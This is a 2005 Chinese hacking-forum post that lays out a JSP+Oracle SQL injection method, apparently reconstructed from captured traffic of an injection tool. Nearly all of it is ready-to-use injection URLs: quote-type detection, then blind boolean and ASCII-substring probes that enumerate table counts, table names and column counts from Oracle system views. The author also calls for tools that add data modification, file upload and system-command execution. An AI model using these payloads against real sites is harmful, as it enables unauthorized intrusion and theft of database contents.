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[原创]JSP+ORACLE注入方法整理v1.0

pt007

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楼主 大 中 小 发表于 2005-10-12 21:41  只看该作者

[原创]JSP+ORACLE注入方法整理v1.0

文章作者：pt007 solaris7（qq7491805/564935）
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

首先感谢华仔和他的朋友Hotkey为大家开发的cnsafersi 注入工具，没有这个工具就没有本文，HEHE，本文是对cnsafersi 注入工具抓包后所获得的数据进行了分析和整理，文章写的比较仓促，有不足之处欢迎同行指正。另外希望有高手开发出功能更加强大的JSP注入程序，cnsafersi目前仅有select的功能，建议新的JSP注入工具中能加入insert/delete/update/backup/上传/执行系统命令等功能，可以参考NBSI的功能进行开发。参考文章：《如何开发CnSaferSI》。

   首先介绍本文中所使用的工具之JSP注入利器：华仔和他的朋友Hotkey开发的cnsafersi，关于使用方法近期我会写一个详细的使用教程：

下面以上图中的AD表为例来说明JSP+ORACLE注入的过程：

1、     判断注入类型（数字型还是字符型）
字符型和数字型数据判断：（希望有人能进一步的细化，细分为数字型和字符型判断两部分）
http://www.test.net/index_kaoyan_view.jsp?id=117 And user>char(0)
http://www.test.net/index_kaoyan_view.jsp?id=117 And user<char(0)
http://www.test.net/index_kaoyan_view.jsp?id=117&#39; And user>char(0) And &#39;1&#39;=&#39;1
http://www.test.net/index_kaoyan_view.jsp?id=117&#39; And user<char(0) And &#39;1&#39;=&#39;1
http://www.test.net/index_kaoyan_view.jsp?id=117&#39; And user>char(0) And &#39;%25&#39;=&#39;
http://www.test.net/index_kaoyan_view.jsp?id=117&#39; And user<char(0) And &#39;%25&#39;=&#39;
http://www.test.net/index_kaoyan_view.jsp?id=117) And user>char(0) And 1 in(1
http://www.test.net/index_kaoyan_view.jsp?id=117) And user<char(0) And 1 in(1
http://www.test.net/index_kaoyan_view.jsp?id=117&#39;) And user>char(0) And (&#39; &#39;)=(&#39;  
http://www.test.net/index_kaoyan_view.jsp?id=117&#39;) And user<char(0) And (&#39; &#39;)=(&#39;  
http://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)>str(97)
http://www.test.net/index_kaoyan_view.jsp?id=117 And str(98)<str(97)

http://www.test.net/index_kaoyan_view.jsp?id=117&#39; And str(98)>str(97) And &#39;1&#39;=&#39;1
http://www.test.net/index_kaoyan_view.jsp?id=117&#39; And str(98)<str(97) And &#39;1&#39;=&#39;1

http://www.test.net/index_kaoyan_view.jsp?id=117&#39; And str(98)>str(97) And &#39;%25&#39;=&#39;



http://www.test.net/index_kaoyan_view.jsp?id=117&#39; And user<char(0) And &#39;%25&#39;=
http://www.test.net/index_kaoyan_view.jsp?id=117&#39; And str(98)<str(97) And &#39;%25&#39;=&#39;

http://www.test.net/index_kaoyan_view.jsp?id=117) And str(98)>str(97) And 1 in(1
http://www.test.net/index_kaoyan_view.jsp?id=117) And str(98)<str(97) And 1 in(1
http://www.test.net/index_kaoyan_view.jsp?id=117&#39;) And str(98)>str(97) And (&#39; &#39;)=(&#39;
http://www.test.net/index_kaoyan_view.jsp?id=117&#39;) And str(98)<str(97) And (&#39; &#39;)=(&#39;  

出现正常的页面：
http://www.test.net/index_kaoyan_view.jsp?id=117 And USER>CHR(0)
http://www.test.net/index_kaoyan_view.jsp?id=117 And USER<CHR(0)

2、     猜解表数量和表名

数据库数量为3：
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT COUNT (*) FROM USER_TABLES)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And UNISTR(1)>UNISTR(0)  

以下为猜解数据表数量
数据表第一位为：1

http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),1,1))  


数据表第二位为：3
http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 53=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 53>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),2,1))  

数据表第三位为：1
http://www.test.net/index_kaoyan_view.jsp?id=117 And 51=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 65>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 109=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 109>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 102=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 102>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 99=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 99>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 97=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 97>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 54=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 54>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT (*) FROM USER_TABLES),3,1))  

共有131个数据表，见上图。

以下为猜解表名称：
以下为判断第一个表的长度为：2
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 3>nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 2=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  


以下为判断第一个表的第一位值为：A
http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),1,1))  

以下为判断第一个表AD的第二位值为：D
http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 78=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 78>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 71=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 71>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 68=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=1)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  


以下为判断第二个表的表ADER的表名长度为：4
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 3>nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 4=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

以下为判断第二个表ADER第一位的值为：A
http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),1,1))  

以下为判断第二个表ADER第二位的值为：D
http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 78=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 78>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 71=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 71>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 68=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),2,1))  

以下为判断第二个表ADER第三位的值为：E
http://www.test.net/index_kaoyan_view.jsp?id=117 And 68=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 79=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 79>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 73=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 73>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 73>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 69=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),3,1))  

以下为判断第二个表ADER第四位的值为：R
http://www.test.net/index_kaoyan_view.jsp?id=117 And 69=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 80=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 80>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 80>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 85=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 85>ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 82=ascii(substr((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=2)ORDER BY 1DESC)WHERE ROWNUM<=1),4,1))  

以下为判断第三个表的表名长度为：
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT TABLE_NAME FROM(SELECT*FROM(SELECT*FROM(SELECT*FROM USER_TABLES ORDER BY 1ASC)WHERE ROWNUM<=3)ORDER BY 1DESC)WHERE ROWNUM<=1)),0)  

3、     猜解列名长度和列名：
a)     以下为猜解字段长度为：2位
http://www.test.net/index_kaoyan_view.jsp?id=117 And 0<=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 1>=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 2<=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 4>=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 3=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 3>nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 2=nvl(length((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68))),0)  


     列名长度为：10位以上
以下猜解列名的长度的第一位为：1（十位）
http://www.test.net/index_kaoyan_view.jsp?id=117 And 52=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 52>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),1,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),1,1))  

以下猜解列名长度的第二位为：0（个位）
http://www.test.net/index_kaoyan_view.jsp?id=117 And 49=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 95=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 77=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
Informational     10/12/2005     15:03:25     Suspect event: ICMP Time Exceeded (> 1 for 1 seconds)
http://www.test.net/index_kaoyan_view.jsp?id=117 And 77>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 70=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 70>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 67=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 67>ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
http://www.test.net/index_kaoyan_view.jsp?id=117 And 65=ascii(substr((SELECT COUNT(*)FROM COLS WHERE TABLE_NAME=CHR(65)||CHR(68)),2,1))  
